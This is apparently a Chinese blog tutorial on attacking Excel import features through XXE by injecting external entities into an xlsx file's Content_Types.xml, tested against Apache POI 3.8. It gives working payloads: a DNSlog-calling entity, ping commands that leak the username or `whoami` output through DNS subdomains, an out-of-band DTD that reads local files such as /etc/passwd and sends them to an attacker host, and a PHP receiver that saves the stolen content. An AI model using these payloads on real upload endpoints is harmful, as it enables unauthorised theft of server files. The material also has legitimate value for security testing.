利用EXCEL进行XXE攻击

简介: 本文介绍了通过构造恶意 Excel 文件利用 XXE(XML 外部实体)漏洞的原理与实践。首先说明了文件如 Word、Excel 等以 ZIP 格式存储,包含多个 XML 文件的特点。当服务器未正确配置 XML 解析器时,可能导致文件泄露、远程代码执行或拒绝服务攻击等风险。接着详细描述了搭建测试环境的过程,包括使用 Apache POI 依赖读取 Excel 文件,修改 xlsx 文件中的 Content_Types.xml 添加外部实体引用,以及通过 DNSLog 验证漏洞存在。最后展示了如何利用外部 DTD 文件读取目标系统上的敏感文件,并将数据写入指定位置,完成攻击验证。

0X00 前言

CTF选手都清楚我们像word文档格式改成zip格式后,再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。

许多网站允许上传/导入文件,处理文件内部数据一般都会解析XML,如 Word 文档、Excel 表格等。这些文件通常以 ZIP 格式存储,将多个 XML 文件和其他资源整合其中。一旦这些文件被上传,服务器通常会对其内容进行解析和处理。

然而,如果服务器在处理这些文件时未能正确配置 XML 解析器,就可能导致 XXE(XML 外部实体)漏洞。这种漏洞允许攻击者通过精心构造的 EXCEL 文件,利用解析器的特性来进行恶意操作。

0X01 XXE 漏洞的工作原理

XXE 漏洞的主要原理在于 XML 解析器对外部实体的处理。当攻击者上传包含外部实体引用的恶意 XML 文件时,如果解析器没有被适当地配置,它可能会试图解析这些外部实体,导致以下潜在风险:

  1. 文件泄露: 攻击者可以利用 XXE 漏洞访问服务器上的敏感文件。例如,通过构造一个包含对 /etc/passwd 文件的外部实体引用的 XML 文件,攻击者可能能够泄露系统中的用户信息。
  2. 远程代码执行: 在某些情况下,攻击者可以通过 XXE 漏洞实现远程代码执行,尤其是在 XML 解析器支持 DTD(文档类型定义)并允许外部实体执行的情况下。
  3. 拒绝服务攻击: 攻击者可以构造一个复杂的 XML 文件,消耗过多的系统资源,导致服务拒绝。

0X02 测试环境搭建

大多数应用程序似乎都将xl / workbook.xml放入其XML解析器中以获取工作表列表,然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同,xls是特有的二进制格式,其核心结构是复合文档类型,而xlsx的核心结构是XML类型,采用基于XML的压缩方式。xls格式文件无法插入payload进行XXE攻击。
测试的时候,根据功能点,docx,xlsx都可以尝试。

暂时没有合适的站点测一下,我们可以本地先起一个简单的程序制造一个合适的xslx文件测试

1. 添加 Apache POI 依赖

pom.xml 中添加 Apache POI 相关依赖:

<!-- Apache POI 用于读取 Excel 文件 -->
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.8</version>
</dependency>

2. 修改xslx

利用bandzip打开xslx文件,找到Content_Types.xml文件,添加外部实体如下:
实体的值:

<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://your-dnslog_address">
    %d;
]>

3. 测试代码(读取Excel文件)

运行时将路径改为自身excel文件路径即可开始运行

package com.itkim.tool;
import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import java.io.FileInputStream;
/**
 * @description: 读取Excel文件
 * @author: KimJun
 * @date: 19.10.5 23:27
 */
public class ExcelData {
    private XSSFSheet sheet;
    /**
     * 构造函数,初始化excel数据
     *
     * @param filePath  excel路径
     * @param sheetName sheet表名
     */
    ExcelData(String filePath, String sheetName) throws Exception {
        FileInputStream fileInputStream = null;
        fileInputStream = new FileInputStream(filePath);
        XSSFWorkbook sheets = new XSSFWorkbook(fileInputStream);
        //获取sheet
        sheet = sheets.getSheet(sheetName);
    }
    //打印excel数据
    public void readExcelData() {
        //获取行数
        int rows = sheet.getPhysicalNumberOfRows();
        for (int i = 0; i < rows; i++) {
            //获取列数
            XSSFRow row = sheet.getRow(i);
            int columns = row.getPhysicalNumberOfCells();
            for (int j = 0; j < columns; j++) {
                String cell = row.getCell(j).toString();
                System.out.println(cell);
            }
        }
    }
    //测试方法
    public static void main(String[] args) throws Exception {
        ExcelData sheet1 = new ExcelData("C:\\Users\\I\\Desktop\\test3.xlsx", "Sheet1");
        sheet1.readExcelData();
    }
}

0x03 测试

1. dnslog测试数据带外

运行代码后会爆一堆错误,这个时候翻看发现有成功访问dnslog的记录,文件既成功制作,且站点存在漏洞

这个时候可以分系统测试是否能数据

windows

ping %USERNAME%.riz3cq.dnslog.cn

linux

ping `whoami`.lfryol.dnslog.cn

2. 外部引用实体dtd

下面的地址我们在实际中肯定都是放到我们的vps里的

利用bandzip打开xslx文件,找到Content_Types.xml文件,修改外部实体如下:
实体的值:

<!DOCTYPE ANY[
//如果目标有中文可用编码绕过
//<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
%remote;
%all;
]>

起一个web服务,路径下创建一个.dtd文件,内容为实际所需读取文件如

windows:

"C:\Windows\system.ini"

linux

"/etc/passwd"

dtd内容如下

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">

再写一个get.php 用于读取文件后写入

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

成功读取到文件并写入

相关文章
|
5月前
|
数据采集 数据可视化 数据挖掘
利用Python自动化处理Excel数据:从基础到进阶####
本文旨在为读者提供一个全面的指南,通过Python编程语言实现Excel数据的自动化处理。无论你是初学者还是有经验的开发者,本文都将帮助你掌握Pandas和openpyxl这两个强大的库,从而提升数据处理的效率和准确性。我们将从环境设置开始,逐步深入到数据读取、清洗、分析和可视化等各个环节,最终实现一个实际的自动化项目案例。 ####
723 10
|
7月前
|
数据采集 存储 JavaScript
自动化数据处理:使用Selenium与Excel打造的数据爬取管道
本文介绍了一种使用Selenium和Excel结合代理IP技术从WIPO品牌数据库(branddb.wipo.int)自动化爬取专利信息的方法。通过Selenium模拟用户操作,处理JavaScript动态加载页面,利用代理IP避免IP封禁,确保数据爬取稳定性和隐私性。爬取的数据将存储在Excel中,便于后续分析。此外,文章还详细介绍了Selenium的基本设置、代理IP配置及使用技巧,并探讨了未来可能采用的更多防反爬策略,以提升爬虫效率和稳定性。
432 4
|
3月前
|
分布式计算 Hadoop 大数据
从Excel到Hadoop:数据规模的进化之路
从Excel到Hadoop:数据规模的进化之路
68 10
|
9月前
|
关系型数据库 MySQL Shell
不通过navicat工具怎么把查询数据导出到excel表中
不通过navicat工具怎么把查询数据导出到excel表中
97 0
|
5月前
|
存储 Java easyexcel
招行面试:100万级别数据的Excel,如何秒级导入到数据库?
本文由40岁老架构师尼恩撰写,分享了应对招商银行Java后端面试绝命12题的经验。文章详细介绍了如何通过系统化准备,在面试中展示强大的技术实力。针对百万级数据的Excel导入难题,尼恩推荐使用阿里巴巴开源的EasyExcel框架,并结合高性能分片读取、Disruptor队列缓冲和高并发批量写入的架构方案,实现高效的数据处理。此外,文章还提供了完整的代码示例和配置说明,帮助读者快速掌握相关技能。建议读者参考《尼恩Java面试宝典PDF》进行系统化刷题,提升面试竞争力。关注公众号【技术自由圈】可获取更多技术资源和指导。
|
7月前
|
数据处理 Python
Python实用记录(十):获取excel数据并通过列表的形式保存为txt文档、xlsx文档、csv文档
这篇文章介绍了如何使用Python读取Excel文件中的数据,处理后将其保存为txt、xlsx和csv格式的文件。
386 3
Python实用记录(十):获取excel数据并通过列表的形式保存为txt文档、xlsx文档、csv文档
|
7月前
|
easyexcel Java UED
SpringBoot中大量数据导出方案:使用EasyExcel并行导出多个excel文件并压缩zip后下载
在SpringBoot环境中,为了优化大量数据的Excel导出体验,可采用异步方式处理。具体做法是将数据拆分后利用`CompletableFuture`与`ThreadPoolTaskExecutor`并行导出,并使用EasyExcel生成多个Excel文件,最终将其压缩成ZIP文件供下载。此方案提升了导出效率,改善了用户体验。代码示例展示了如何实现这一过程,包括多线程处理、模板导出及资源清理等关键步骤。
|
8月前
|
数据采集 存储 数据挖掘
使用Python读取Excel数据
本文介绍了如何使用Python的`pandas`库读取和操作Excel文件。首先,需要安装`pandas`和`openpyxl`库。接着,通过`read_excel`函数读取Excel数据,并展示了读取特定工作表、查看数据以及计算平均值等操作。此外,还介绍了选择特定列、筛选数据和数据清洗等常用操作。`pandas`是一个强大且易用的工具,适用于日常数据处理工作。
|
9月前
|
SQL JSON 关系型数据库
n种方式教你用python读写excel等数据文件
n种方式教你用python读写excel等数据文件
137 1